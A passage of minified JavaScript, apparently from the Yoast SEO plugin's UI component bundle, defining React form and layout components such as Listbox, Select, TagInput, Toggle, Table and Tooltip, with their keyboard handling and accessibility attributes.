screenReaderLabel:o().string,variant:o().oneOf(Object.keys({default:"","inline-block":"yst-radio--inline-block"})),disabled:o().bool,className:o().string};Tn.propTypes=On,Tn.defaultProps={screenReaderLabel:"",variant:"default",disabled:!1,className:"",isLabelDangerousHtml:!1};const Pn=t=>(0,e.createElement)(Tn,{...t});Pn.propTypes=On,Pn.defaultProps=Tn.defaultProps,Pn.displayName="Radio";const Cn=Tn;var Sn=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Sn||{}),kn=(e=>(e[e.Single=0]="Single",e[e.Multi=1]="Multi",e))(kn||{}),Ln=(e=>(e[e.Pointer=0]="Pointer",e[e.Other=1]="Other",e))(Ln||{}),Fn=(e=>(e[e.OpenListbox=0]="OpenListbox",e[e.CloseListbox=1]="CloseListbox",e[e.GoToOption=2]="GoToOption",e[e.Search=3]="Search",e[e.ClearSearch=4]="ClearSearch",e[e.RegisterOption=5]="RegisterOption",e[e.UnregisterOption=6]="UnregisterOption",e[e.RegisterLabel=7]="RegisterLabel",e))(Fn||{});function Mn(e,t=(e=>e)){let n=null!==e.activeOptionIndex?e.options[e.activeOptionIndex]:null,a=J(t(e.options.slice()),(e=>e.dataRef.current.domRef.current)),r=n?a.indexOf(n):null;return-1===r&&(r=null),{options:a,activeOptionIndex:r}}let In={1:e=>e.dataRef.current.disabled||1===e.listboxState?e:{...e,activeOptionIndex:null,listboxState:1},0(e){if(e.dataRef.current.disabled||0===e.listboxState)return e;let t=e.activeOptionIndex,{isSelected:n}=e.dataRef.current,a=e.options.findIndex((e=>n(e.dataRef.current.value)));return-1!==a&&(t=a),{...e,listboxState:0,activeOptionIndex:t}},2(e,t){var n;if(e.dataRef.current.disabled||1===e.listboxState)return e;let a=Mn(e),r=ce(t,{resolveItems:()=>a.options,resolveActiveIndex:()=>a.activeOptionIndex,resolveId:e=>e.id,resolveDisabled:e=>e.dataRef.current.disabled});return{...e,...a,searchQuery:"",activeOptionIndex:r,activationTrigger:null!=(n=t.trigger)?n:1}},3:(e,t)=>{if(e.dataRef.current.disabled||1===e.listboxState)return e;let n=""!==e.searchQuery?0:1,a=e.searchQuery+t.value.toLowerCase(),r=(null!==e.activeOptionIndex?e.options.slice(e.activeOptionIndex+n).concat(e.options.slice(0,e.activeOptionIndex+n)):e.options).find((e=>{var t;return!e.dataRef.current.disabled&&(null==(t=e.dataRef.current.textValue)?void 0:t.startsWith(a))})),s=r?e.options.indexOf(r):-1;return-1===s||s===e.activeOptionIndex?{...e,searchQuery:a}:{...e,searchQuery:a,activeOptionIndex:s,activationTrigger:1}},4:e=>e.dataRef.current.disabled||1===e.listboxState||""===e.searchQuery?e:{...e,searchQuery:""},5:(e,t)=>{let n={id:t.id,dataRef:t.dataRef},a=Mn(e,(e=>[...e,n]));return null===e.activeOptionIndex&&e.dataRef.current.isSelected(t.dataRef.current.value)&&(a.activeOptionIndex=a.options.indexOf(n)),{...e,...a}},6:(e,t)=>{let n=Mn(e,(e=>{let n=e.findIndex((e=>e.id===t.id));return-1!==n&&e.splice(n,1),e}));return{...e,...n,activationTrigger:1}},7:(e,t)=>({...e,labelId:t.id})},Dn=(0,e.createContext)(null);function qn(t){let n=(0,e.useContext)(Dn);if(null===n){let e=new Error(`<${t} /> is missing a parent <Listbox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(e,qn),e}return n}Dn.displayName="ListboxActionsContext";let An=(0,e.createContext)(null);function jn(t){let n=(0,e.useContext)(An);if(null===n){let e=new Error(`<${t} /> is missing a parent <Listbox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(e,jn),e}return n}function Bn(e,t){return H(t.type,In,e,t)}An.displayName="ListboxDataContext";let Hn=e.Fragment,zn=ve((function(t,n){let{value:a,defaultValue:r,name:s,onChange:o,by:l=((e,t)=>e===t),disabled:i=!1,horizontal:c=!1,multiple:u=!1,...d}=t;const p=c?"horizontal":"vertical";let m=le(n),[f=(u?[]:void 0),y]=_e(a,o,r),[b,v]=(0,e.useReducer)(Bn,{dataRef:(0,e.createRef)(),listboxState:1,options:[],searchQuery:"",labelId:null,activeOptionIndex:null,activationTrigger:1}),g=(0,e.useRef)({static:!1,hold:!1}),h=(0,e.useRef)(null),E=(0,e.useRef)(null),x=(0,e.useRef)(null),N=q("string"==typeof l?(e,t)=>{let n=l;return(null==e?void 0:e[n])===(null==t?void 0:t[n])}:l),R=(0,e.useCallback)((e=>H(w.mode,{1:()=>f.some((t=>N(t,e))),0:()=>N(f,e)})),[f]),w=(0,e.useMemo)((()=>({...b,value:f,disabled:i,mode:u?1:0,orientation:p,compare:N,isSelected:R,optionsPropsRef:g,labelRef:h,buttonRef:E,optionsRef:x})),[f,i,u,b]);_((()=>{b.dataRef.current=w}),[w]),ne([w.buttonRef,w.optionsRef],((e,t)=>{var n;v({type:1}),Y(t,Q.Loose)||(e.preventDefault(),null==(n=w.buttonRef.current)||n.focus())}),0===w.listboxState);let T=(0,e.useMemo)((()=>({open:0===w.listboxState,disabled:i,value:f})),[w,i,f]),O=q((e=>{let t=w.options.find((t=>t.id===e));!t||M(t.dataRef.current.value)})),P=q((()=>{if(null!==w.activeOptionIndex){let{dataRef:e,id:t}=w.options[w.activeOptionIndex];M(e.current.value),v({type:2,focus:ie.Specific,id:t})}})),C=q((()=>v({type:0}))),S=q((()=>v({type:1}))),k=q(((e,t,n)=>e===ie.Specific?v({type:2,focus:ie.Specific,id:t,trigger:n}):v({type:2,focus:e,trigger:n}))),L=q(((e,t)=>(v({type:5,id:e,dataRef:t}),()=>v({type:6,id:e})))),F=q((e=>(v({type:7,id:e}),()=>v({type:7,id:null})))),M=q((e=>H(w.mode,{0:()=>null==y?void 0:y(e),1(){let t=w.value.slice(),n=t.findIndex((t=>N(t,e)));return-1===n?t.push(e):t.splice(n,1),null==y?void 0:y(t)}}))),I=q((e=>v({type:3,value:e}))),A=q((()=>v({type:4}))),j=(0,e.useMemo)((()=>({onChange:M,registerOption:L,registerLabel:F,goToOption:k,closeListbox:S,openListbox:C,selectActiveOption:P,selectOption:O,search:I,clearSearch:A})),[]),B={ref:m},z=(0,e.useRef)(null),$=D();return(0,e.useEffect)((()=>{!z.current||void 0!==r&&$.addEventListener(z.current,"reset",(()=>{M(r)}))}),[z,M]),e.createElement(Dn.Provider,{value:j},e.createElement(An.Provider,{value:w},e.createElement(Se,{value:H(w.listboxState,{0:Pe.Open,1:Pe.Closed})},null!=s&&null!=f&&xe({[s]:f}).map((([t,n],a)=>e.createElement(Te,{features:we.Hidden,ref:0===a?e=>{var t;z.current=null!=(t=null==e?void 0:e.closest("form"))?t:null}:void 0,...ge({key:t,as:"input",type:"hidden",hidden:!0,readOnly:!0,name:t,value:n})}))),fe({ourProps:B,theirProps:d,slot:T,defaultTag:Hn,name:"Listbox"}))))})),$n=ve((function(t,n){var a;let r=B(),{id:s=`headlessui-listbox-button-${r}`,...o}=t,l=jn("Listbox.Button"),i=qn("Listbox.Button"),c=le(l.buttonRef,n),u=D(),d=q((e=>{switch(e.key){case ke.Space:case ke.Enter:case ke.ArrowDown:e.preventDefault(),i.openListbox(),u.nextFrame((()=>{l.value||i.goToOption(ie.First)}));break;case ke.ArrowUp:e.preventDefault(),i.openListbox(),u.nextFrame((()=>{l.value||i.goToOption(ie.Last)}))}})),p=q((e=>{e.key===ke.Space&&e.preventDefault()})),m=q((e=>{if(Ee(e.currentTarget))return e.preventDefault();0===l.listboxState?(i.closeListbox(),u.nextFrame((()=>{var e;return null==(e=l.buttonRef.current)?void 0:e.focus({preventScroll:!0})}))):(e.preventDefault(),i.openListbox())})),f=F((()=>{if(l.labelId)return[l.labelId,s].join(" ")}),[l.labelId,s]),y=(0,e.useMemo)((()=>({open:0===l.listboxState,disabled:l.disabled,value:l.value})),[l]);return fe({ourProps:{ref:c,id:s,type:re(t,l.buttonRef),"aria-haspopup":"listbox","aria-controls":null==(a=l.optionsRef.current)?void 0:a.id,"aria-expanded":l.disabled?void 0:0===l.listboxState,"aria-labelledby":f,disabled:l.disabled,onKeyDown:d,onKeyUp:p,onClick:m},theirProps:o,slot:y,defaultTag:"button",name:"Listbox.Button"})})),Un=ve((function(t,n){let a=B(),{id:r=`headlessui-listbox-label-${a}`,...s}=t,o=jn("Listbox.Label"),l=qn("Listbox.Label"),i=le(o.labelRef,n);_((()=>l.registerLabel(r)),[r]);let c=q((()=>{var e;return null==(e=o.buttonRef.current)?void 0:e.focus({preventScroll:!0})})),u=(0,e.useMemo)((()=>({open:0===o.listboxState,disabled:o.disabled})),[o]);return fe({ourProps:{ref:i,id:r,onClick:c},theirProps:s,slot:u,defaultTag:"label",name:"Listbox.Label"})})),Vn=pe.RenderStrategy|pe.Static,Wn=ve((function(t,n){var a;let r=B(),{id:s=`headlessui-listbox-options-${r}`,...o}=t,l=jn("Listbox.Options"),i=qn("Listbox.Options"),c=le(l.optionsRef,n),u=D(),d=D(),p=Ce(),m=null!==p?p===Pe.Open:0===l.listboxState;(0,e.useEffect)((()=>{var e;let t=l.optionsRef.current;!t||0===l.listboxState&&t!==(null==(e=z(t))?void 0:e.activeElement)&&t.focus({preventScroll:!0})}),[l.listboxState,l.optionsRef]);let f=q((e=>{switch(d.dispose(),e.key){case ke.Space:if(""!==l.searchQuery)return e.preventDefault(),e.stopPropagation(),i.search(e.key);case ke.Enter:if(e.preventDefault(),e.stopPropagation(),null!==l.activeOptionIndex){let{dataRef:e}=l.options[l.activeOptionIndex];i.onChange(e.current.value)}0===l.mode&&(i.closeListbox(),I().nextFrame((()=>{var e;return null==(e=l.buttonRef.current)?void 0:e.focus({preventScroll:!0})})));break;case H(l.orientation,{vertical:ke.ArrowDown,horizontal:ke.ArrowRight}):return e.preventDefault(),e.stopPropagation(),i.goToOption(ie.Next);case H(l.orientation,{vertical:ke.ArrowUp,horizontal:ke.ArrowLeft}):return e.preventDefault(),e.stopPropagation(),i.goToOption(ie.Previous);case ke.Home:case ke.PageUp:return e.preventDefault(),e.stopPropagation(),i.goToOption(ie.First);case ke.End:case ke.PageDown:return e.preventDefault(),e.stopPropagation(),i.goToOption(ie.Last);case ke.Escape:return e.preventDefault(),e.stopPropagation(),i.closeListbox(),u.nextFrame((()=>{var e;return null==(e=l.buttonRef.current)?void 0:e.focus({preventScroll:!0})}));case ke.Tab:e.preventDefault(),e.stopPropagation();break;default:1===e.key.length&&(i.search(e.key),d.setTimeout((()=>i.clearSearch()),350))}})),y=F((()=>{var e,t,n;return null!=(n=null==(e=l.labelRef.current)?void 0:e.id)?n:null==(t=l.buttonRef.current)?void 0:t.id}),[l.labelRef.current,l.buttonRef.current]),b=(0,e.useMemo)((()=>({open:0===l.listboxState})),[l]);return fe({ourProps:{"aria-activedescendant":null===l.activeOptionIndex||null==(a=l.options[l.activeOptionIndex])?void 0:a.id,"aria-multiselectable":1===l.mode||void 0,"aria-labelledby":y,"aria-orientation":l.orientation,id:s,onKeyDown:f,role:"listbox",tabIndex:0,ref:c},theirProps:o,slot:b,defaultTag:"ul",features:Vn,visible:m,name:"Listbox.Options"})})),Gn=ve((function(t,n){let a=B(),{id:r=`headlessui-listbox-option-${a}`,disabled:s=!1,value:o,...l}=t,i=jn("Listbox.Option"),c=qn("Listbox.Option"),u=null!==i.activeOptionIndex&&i.options[i.activeOptionIndex].id===r,d=i.isSelected(o),p=(0,e.useRef)(null),m=L({disabled:s,value:o,domRef:p,get textValue(){var e,t;return null==(t=null==(e=p.current)?void 0:e.textContent)?void 0:t.toLowerCase()}}),f=le(n,p);_((()=>{if(0!==i.listboxState||!u||0===i.activationTrigger)return;let e=I();return e.requestAnimationFrame((()=>{var e,t;null==(t=null==(e=p.current)?void 0:e.scrollIntoView)||t.call(e,{block:"nearest"})})),e.dispose}),[p,u,i.listboxState,i.activationTrigger,i.activeOptionIndex]),_((()=>c.registerOption(r,m)),[m,r]);let y=q((e=>{if(s)return e.preventDefault();c.onChange(o),0===i.mode&&(c.closeListbox(),I().nextFrame((()=>{var e;return null==(e=i.buttonRef.current)?void 0:e.focus({preventScroll:!0})})))})),b=q((()=>{if(s)return c.goToOption(ie.Nothing);c.goToOption(ie.Specific,r)})),v=Me(),g=q((e=>v.update(e))),h=q((e=>{!v.wasMoved(e)||s||u||c.goToOption(ie.Specific,r,0)})),E=q((e=>{!v.wasMoved(e)||s||!u||c.goToOption(ie.Nothing)})),x=(0,e.useMemo)((()=>({active:u,selected:d,disabled:s})),[u,d,s]);return fe({ourProps:{id:r,ref:f,role:"option",tabIndex:!0===s?void 0:-1,"aria-disabled":!0===s||void 0,"aria-selected":d,disabled:void 0,onClick:y,onFocus:b,onPointerEnter:g,onMouseEnter:g,onPointerMove:h,onMouseMove:h,onPointerLeave:E,onMouseLeave:E},theirProps:l,slot:x,defaultTag:"li",name:"Listbox.Option"})})),Kn=Object.assign(zn,{Button:$n,Label:Un,Options:Wn,Option:Gn});const Qn={value:o().oneOfType([o().string,o().number,o().bool]).isRequired,label:o().string.isRequired},Yn=({value:t,label:n})=>{const a=c(),s=(0,l.useCallback)((({active:e,selected:t})=>r()("yst-select__option",e&&"yst-select__option--active",t&&"yst-select__option--selected")),[]);return(0,e.createElement)(Kn.Option,{value:t,className:s},(({selected:t})=>(0,e.createElement)(l.Fragment,null,(0,e.createElement)("span",{className:r()("yst-select__option-label",t&&"yst-font-semibold")},n),t&&(0,e.createElement)(gt,{className:"yst-select__option-check",...a}))))};Yn.propTypes=Qn;const Zn=(0,l.forwardRef)((({id:t,value:n,options:a,children:s,selectedLabel:o,label:i,labelProps:u,labelSuffix:d,onChange:p,disabled:m,validation:f,className:y,buttonProps:b,...v},g)=>{const h=(0,l.useMemo)((()=>a.find((e=>n===(null==e?void 0:e.value)))||a[0]),[n,a]),E=c();return(0,e.createElement)(Kn,{ref:g,as:"div",value:n,onChange:p,disabled:m,className:r()("yst-select",m&&"yst-select--disabled",y),...v},i&&(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-mb-2"},(0,e.createElement)(Kn.Label,{as:Yt,...u},i),d),(0,e.createElement)(Rt,{as:Kn.Button,"data-id":t,className:"yst-select__button",validation:f,...b},(0,e.createElement)("span",{className:"yst-select__button-label"},o||(null==h?void 0:h.label)||""),!(null!=f&&f.message)&&(0,e.createElement)(ht,{className:"yst-select__button-icon",...E})),(0,e.createElement)(vt,{as:l.Fragment,enter:"yst-transition yst-duration-100 yst-ease-out",enterFrom:"yst-transform yst-scale-95 yst-opacity-0",enterTo:"yst-transform yst-scale-100 yst-opacity-100",leave:"yst-transition yst-duration-75 yst-ease-out",leaveFrom:"yst-transform yst-scale-100 yst-opacity-100",leaveTo:"yst-transform yst-scale-95 yst-opacity-0"},(0,e.createElement)(Kn.Options,{className:"yst-select__options"},s||a.map((t=>(0,e.createElement)(Yn,{key:t.value,...t}))))))})),Xn={id:o().string.isRequired,value:o().oneOfType([o().string,o().number,o().bool]).isRequired,options:o().arrayOf(o().shape(Qn)),children:o().node,selectedLabel:o().string,label:o().string,labelProps:o().object,labelSuffix:o().node,onChange:o().func.isRequired,disabled:o().bool,validation:o().shape({variant:o().string,message:o().node}),className:o().string,buttonProps:o().object};Zn.propTypes=Xn,Zn.Option=Yn,Zn.Option.displayName="Select.Option",Zn.defaultProps={options:[],children:null,selectedLabel:"",label:"",labelProps:{},labelSuffix:null,disabled:!1,validation:{},className:"",buttonProps:{}};const Jn=t=>(0,e.createElement)(Zn,{...t});Jn.propTypes=Xn,Jn.defaultProps=Zn.defaultProps,Jn.displayName="Select";const ea=Zn,ta=({as:t,className:n,children:a})=>(0,e.createElement)(t,{className:r()("yst-skeleton-loader",n)},a&&(0,e.createElement)("div",{className:"yst-pointer-events-none yst-invisible"},a));ta.propTypes={as:o().elementType,className:o().string,children:o().node},ta.defaultProps={as:"span",className:"",children:null};const na=ta,aa={variant:{striped:"even:yst-bg-slate-50 odd:yst-bg-white",plain:""}},ra=({children:t,className:n="",...a})=>(0,e.createElement)("td",{className:r()("yst-px-3 yst-py-4 yst-text-sm yst-text-slate-500",n),...a},t);ra.propTypes={children:o().node.isRequired,variant:o().oneOf(Object.keys(aa.variant)),className:o().string};const sa=({children:t,variant:n="plain",className:a="",...s})=>(0,e.createElement)("tr",{className:r()(aa.variant[n],a),...s},t);sa.propTypes={children:o().node.isRequired,variant:o().oneOf(Object.keys(aa.variant)),className:o().string};const oa=({children:t,className:n="",...a})=>(0,e.createElement)("th",{className:r()("yst-px-3 yst-py-4 yst-text-left yst-text-sm yst-font-semibold yst-text-slate-900",n),...a},t);oa.propTypes={children:o().node.isRequired,className:o().string};const la=({children:t,className:n="",...a})=>(0,e.createElement)("thead",{className:r()("yst-bg-slate-50",n),...a},t);la.propTypes={children:o().node.isRequired,className:o().string};const ia=({children:t,className:n="",...a})=>(0,e.createElement)("tbody",{className:r()("yst-divide-y yst-divide-gray-200 yst-bg-white",n),...a},t);ia.propTypes={children:o().node.isRequired,className:o().string};const ca=(0,l.forwardRef)((({children:t,className:n="",...a},s)=>(0,e.createElement)("div",{className:"yst-overflow-hidden yst-shadow yst-ring-1 yst-ring-black yst-ring-opacity-5 yst-rounded-lg"},(0,e.createElement)("table",{className:r()("yst-min-w-full yst-divide-y yst-divide-slate-300",n),...a,ref:s},t))));ca.propTypes={children:o().node.isRequired,className:o().string},ca.Head=la,ca.Head.displayName="Table.Head",ca.Body=ia,ca.Body.displayName="Table.Body",ca.Header=oa,ca.Header.displayName="Table.Header",ca.Row=sa,ca.Row.displayName="Table.Row",ca.Cell=ra,ca.Cell.displayName="Table.Cell";const ua=ca,da=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{fillRule:"evenodd",d:"M4.293 4.293a1 1 0 011.414 0L10 8.586l4.293-4.293a1 1 0 111.414 1.414L11.414 10l4.293 4.293a1 1 0 01-1.414 1.414L10 11.414l-4.293 4.293a1 1 0 01-1.414-1.414L8.586 10 4.293 5.707a1 1 0 010-1.414z",clipRule:"evenodd"}))})),pa=({tag:t,index:n,disabled:a=!1,onRemoveTag:r,screenReaderRemoveTag:s,...o})=>{const i=(0,l.useCallback)((e=>{if(!a)switch(null==e?void 0:e.key){case"Delete":case"Backspace":return r(n),e.preventDefault(),!0}}),[n,a,r]),c=(0,l.useCallback)((e=>{if(!a)return r(n),e.preventDefault(),!0}),[n,a,r]);return(0,e.createElement)(It,{onKeyDown:i,...o,variant:"plain",className:"yst-tag-input__tag"},(0,e.createElement)("span",{className:"yst-mb-px"},t),(0,e.createElement)("button",{type:"button",onClick:c,className:"yst-tag-input__remove-tag"},(0,e.createElement)("span",{className:"yst-sr-only"},s),(0,e.createElement)(da,{className:"yst-h-3 yst-w-3"})))};pa.propTypes={tag:o().string.isRequired,index:o().number.isRequired,disabled:o().bool,onRemoveTag:o().func.isRequired,screenReaderRemoveTag:o().string.isRequired};const ma=(0,l.forwardRef)((({tags:t=[],children:n,className:a,disabled:s,onAddTag:o,onRemoveTag:c,onSetTags:u,onBlur:d,screenReaderRemoveTag:p,...m},f)=>{const[y,b]=(0,l.useState)(""),v=(0,l.useCallback)((e=>{var t;(0,i.isString)(null==e||null===(t=e.target)||void 0===t?void 0:t.value)&&b(e.target.value)}),[b]),g=(0,l.useCallback)((e=>{switch(e.key){case",":case"Enter":return y.length>0&&(o(y),b("")),e.preventDefault(),!0;case"Backspace":if(0!==y.length||0===t.length)break;return c(t.length-1),e.ctrlKey&&u([]),e.preventDefault(),!0}}),[y,t,b,o]),h=(0,l.useCallback)((e=>{y.length>0&&(o(y),b("")),d(e)}),[y,o,b,d]);return(0,e.createElement)("div",{className:r()("yst-tag-input",s&&"yst-tag-input--disabled",a)},n||(0,i.map)(t,((t,n)=>(0,e.createElement)(pa,{key:`tag-${n}`,tag:t,index:n,disabled:s,onRemoveTag:c,screenReaderRemoveTag:p}))),(0,e.createElement)("input",{ref:f,type:"text",disabled:s,className:"yst-tag-input__input",onKeyDown:g,...m,onChange:v,onBlur:h,value:y}))})),fa={tags:o().arrayOf(o().string),children:o().node,className:o().string,disabled:o().bool,onAddTag:o().func,onRemoveTag:o().func,onSetTags:o().func,onBlur:o().func,screenReaderRemoveTag:o().string};ma.propTypes=fa,ma.Tag=pa,ma.Tag.displayName="TagInput.Tag",ma.defaultProps={tags:[],children:null,className:"",disabled:!1,onAddTag:i.noop,onRemoveTag:i.noop,onSetTags:i.noop,onBlur:i.noop,screenReaderRemoveTag:"Remove tag"};const ya=ma,ba=t=>(0,e.createElement)(ma,{...t});ba.propTypes=fa,ba.defaultProps=ma.defaultProps,ba.displayName="TagInput";const va=(0,l.forwardRef)((({type:t,className:n,disabled:a,readOnly:s,...o},l)=>(0,e.createElement)("input",{ref:l,type:t,className:r()("yst-text-input",a&&"yst-text-input--disabled",s&&"yst-text-input--read-only",n),disabled:a,readOnly:s,...o}))),ga={type:o().string,className:o().string,disabled:o().bool,readOnly:o().bool};va.propTypes=ga,va.defaultProps={type:"text",className:"",disabled:!1,readOnly:!1};const ha=va,Ea=t=>(0,e.createElement)(va,{...t});Ea.propTypes=ga,Ea.defaultProps=va.defaultProps,Ea.displayName="TextInput";const xa=(0,l.forwardRef)((({disabled:t,rows:n,className:a,...s},o)=>(0,e.createElement)("textarea",{ref:o,disabled:t,rows:n,className:r()("yst-textarea",t&&"yst-textarea--disabled",a),...s}))),Na={className:o().string,disabled:o().bool,cols:o().number,rows:o().number};xa.propTypes=Na,xa.defaultProps={className:"",disabled:!1,cols:20,rows:2};const Ra=t=>(0,e.createElement)(xa,{...t});Ra.propTypes=Na,Ra.defaultProps=xa.defaultProps,Ra.displayName="Textarea";const wa=xa,Ta={size:{1:"yst-title--1",2:"yst-title--2",3:"yst-title--3",4:"yst-title--4",5:"yst-title--5"}},Oa=(0,l.forwardRef)((({children:t,as:n,size:a,className:s,...o},l)=>(0,e.createElement)(n,{ref:l,className:r()("yst-title",Ta.size[a||n[1]],s),...o},t))),Pa={children:o().node.isRequired,as:o().elementType,size:o().oneOf(Object.keys(Ta.size)),className:o().string};Oa.propTypes=Pa,Oa.defaultProps={as:"h1",size:void 0,className:""};const Ca=t=>(0,e.createElement)(Oa,{...t});Ca.propTypes=Pa,Ca.defaultProps=Oa.defaultProps,Ca.displayName="Title";const Sa=Oa;let ka=(0,e.createContext)(null);function _a(){let t=(0,e.useContext)(ka);if(null===t){let e=new Error("You used a <Label /> component, but it is not inside a relevant parent.");throw Error.captureStackTrace&&Error.captureStackTrace(e,_a),e}return t}let La=ve((function(e,t){let n=B(),{id:a=`headlessui-label-${n}`,passive:r=!1,...s}=e,o=_a(),l=le(t);_((()=>o.register(a)),[a,o.register]);let i={ref:l,...o.props,id:a};return r&&("onClick"in i&&delete i.onClick,"onClick"in s&&delete s.onClick),fe({ourProps:i,theirProps:s,slot:o.slot||{},defaultTag:"label",name:o.name||"Label"})})),Fa=(0,e.createContext)(null);function Ma(){let t=(0,e.useContext)(Fa);if(null===t){let e=new Error("You used a <Description /> component, but it is not inside a relevant parent.");throw Error.captureStackTrace&&Error.captureStackTrace(e,Ma),e}return t}function Ia(){let[t,n]=(0,e.useState)([]);return[t.length>0?t.join(" "):void 0,(0,e.useMemo)((()=>function(t){let a=q((e=>(n((t=>[...t,e])),()=>n((t=>{let n=t.slice(),a=n.indexOf(e);return-1!==a&&n.splice(a,1),n}))))),r=(0,e.useMemo)((()=>({register:a,slot:t.slot,name:t.name,props:t.props})),[a,t.slot,t.name,t.props]);return e.createElement(Fa.Provider,{value:r},t.children)}),[n])]}let Da=ve((function(e,t){let n=B(),{id:a=`headlessui-description-${n}`,...r}=e,s=Ma(),o=le(t);return _((()=>s.register(a)),[a,s.register]),fe({ourProps:{ref:o,...s.props,id:a},theirProps:r,slot:s.slot||{},defaultTag:"p",name:s.name||"Description"})})),qa=(0,e.createContext)(null);qa.displayName="GroupContext";let Aa=e.Fragment,ja=ve((function(t,n){let a=B(),{id:r=`headlessui-switch-${a}`,checked:s,defaultChecked:o=!1,onChange:l,name:i,value:c,...u}=t,d=(0,e.useContext)(qa),p=(0,e.useRef)(null),m=le(p,n,null===d?null:d.setSwitch),[f,y]=_e(s,l,o),b=q((()=>null==y?void 0:y(!f))),v=q((e=>{if(Ee(e.currentTarget))return e.preventDefault();e.preventDefault(),b()})),g=q((e=>{e.key===ke.Space?(e.preventDefault(),b()):e.key===ke.Enter&&function(e){var t;let n=null!=(t=null==e?void 0:e.form)?t:e.closest("form");if(n)for(let e of n.elements)if("INPUT"===e.tagName&&"submit"===e.type||"BUTTON"===e.tagName&&"submit"===e.type||"INPUT"===e.nodeName&&"image"===e.type)return void e.click()}(e.currentTarget)})),h=q((e=>e.preventDefault())),E=(0,e.useMemo)((()=>({checked:f})),[f]),x={id:r,ref:m,role:"switch",type:re(t,p),tabIndex:0,"aria-checked":f,"aria-labelledby":null==d?void 0:d.labelledby,"aria-describedby":null==d?void 0:d.describedby,onClick:v,onKeyUp:g,onKeyPress:h},N=D();return(0,e.useEffect)((()=>{var e;let t=null==(e=p.current)?void 0:e.closest("form");!t||void 0!==o&&N.addEventListener(t,"reset",(()=>{y(o)}))}),[p,y]),e.createElement(e.Fragment,null,null!=i&&f&&e.createElement(Te,{features:we.Hidden,...ge({as:"input",type:"checkbox",hidden:!0,readOnly:!0,checked:f,name:i,value:c})}),fe({ourProps:x,theirProps:u,slot:E,defaultTag:"button",name:"Switch"}))})),Ba=Object.assign(ja,{Group:function(t){let[n,a]=(0,e.useState)(null),[r,s]=function(){let[t,n]=(0,e.useState)([]);return[t.length>0?t.join(" "):void 0,(0,e.useMemo)((()=>function(t){let a=q((e=>(n((t=>[...t,e])),()=>n((t=>{let n=t.slice(),a=n.indexOf(e);return-1!==a&&n.splice(a,1),n}))))),r=(0,e.useMemo)((()=>({register:a,slot:t.slot,name:t.name,props:t.props})),[a,t.slot,t.name,t.props]);return e.createElement(ka.Provider,{value:r},t.children)}),[n])]}(),[o,l]=Ia(),i=(0,e.useMemo)((()=>({switch:n,setSwitch:a,labelledby:r,describedby:o})),[n,a,r,o]),c=t;return e.createElement(l,{name:"Switch.Description"},e.createElement(s,{name:"Switch.Label",props:{onClick(){!n||(n.click(),n.focus({preventScroll:!0}))}}},e.createElement(qa.Provider,{value:i},fe({ourProps:{},theirProps:c,defaultTag:Aa,name:"Switch.Group"}))))},Label:La,Description:Da});const Ha=(0,l.forwardRef)((({id:t,as:n,checked:a,screenReaderLabel:s,onChange:o,disabled:l,className:u,type:d,...p},m)=>{const f=c();return(0,e.createElement)(Ba,{ref:m,as:n,checked:a,disabled:l,onChange:l?i.noop:o,className:r()("yst-toggle",a&&"yst-toggle--checked",l&&"yst-toggle--disabled",u),"data-id":t,...p,type:"button"===n?"button":d},(0,e.createElement)("span",{className:"yst-sr-only"},s),(0,e.createElement)("span",{className:"yst-toggle__handle"},(0,e.createElement)(vt,{show:a,unmount:!1,as:"span","aria-hidden":!a,enter:"",enterFrom:"yst-opacity-0 yst-hidden",enterTo:"yst-opacity-100",leaveFrom:"yst-opacity-100",leaveTo:"yst-opacity-0 yst-hidden"},(0,e.createElement)(gt,{className:"yst-toggle__icon yst-toggle__icon--check",...f})),(0,e.createElement)(vt,{show:!a,unmount:!1,as:"span","aria-hidden":a,enterFrom:"yst-opacity-0 yst-hidden",enterTo:"yst-opacity-100",leaveFrom:"yst-opacity-100",leaveTo:"yst-opacity-0 yst-hidden"},(0,e.createElement)(da,{className:"yst-toggle__icon yst-toggle__icon--x",...f}))))})),za={as:o().elementType,id:o().string.isRequired,checked:o().bool,screenReaderLabel:o().string.isRequired,onChange:o().func.isRequired,disabled:o().bool,type:o().string,className:o().string};Ha.propTypes=za,Ha.defaultProps={as:"button",checked:!1,disabled:!1,type:"",className:""};const $a=t=>(0,e.createElement)(Ha,{...t});$a.propTypes=za,$a.defaultProps=Ha.defaultProps,$a.displayName="Toggle";const Ua=Ha,Va={top:"yst-tooltip--top",right:"yst-tooltip--right",bottom:"yst-tooltip--bottom",left:"yst-tooltip--left"},Wa=(0,l.forwardRef)((({id:t,children:n,as:a,className:s,isVisible:o,position:l,...i},c)=>(0,e.createElement)(e.Fragment,null,o&&(0,e.createElement)(a,{ref:c,className:r()("yst-tooltip",Va[l],s),role:"tooltip",id:t,...i},n||null)))),Ga={as:o().elementType,id:o().string.isRequired,children:o().string,className:o().string,position:o().oneOf(Object.keys(Va))};Wa.propTypes=Ga,Wa.defaultProps={as:"div",children:"",className:"",position:"top"};const Ka=t=>(0,e.createElement)(Wa,{...t});Ka.propTypes=Ga,Ka.defaultProps=Wa.defaultProps,Ka.displayName="Tooltip";const Qa=Wa,Ya=(e,t)=>{const n=(0,l.useMemo)((()=>(0,i.reduce)(t,((t,n,a)=>n?(t[a]=`${e}__${a}`,t):t),{})),[e,t]),a=(0,l.useMemo)((()=>(0,i.values)(n).join(" ")||null),[n]);return{ids:n,describedBy:a}},Za=(0,l.forwardRef)((({id:t,label:n,description:a,validation:s,className:o,...l},i)=>{const{ids:c,describedBy:u}=Ya(t,{validation:null==s?void 0:s.message,description:a});return(0,e.createElement)("div",{className:r()("yst-autocomplete-field",o)},(0,e.createElement)(kt,{ref:i,id:t,label:n,labelProps:{as:"label",className:"yst-label yst-autocomplete-field__label"},validation:s,className:"yst-autocomplete-field__select",buttonProps:{"aria-describedby":u},...l}),(null==s?void 0:s.message)&&(0,e.createElement)(x,{variant:null==s?void 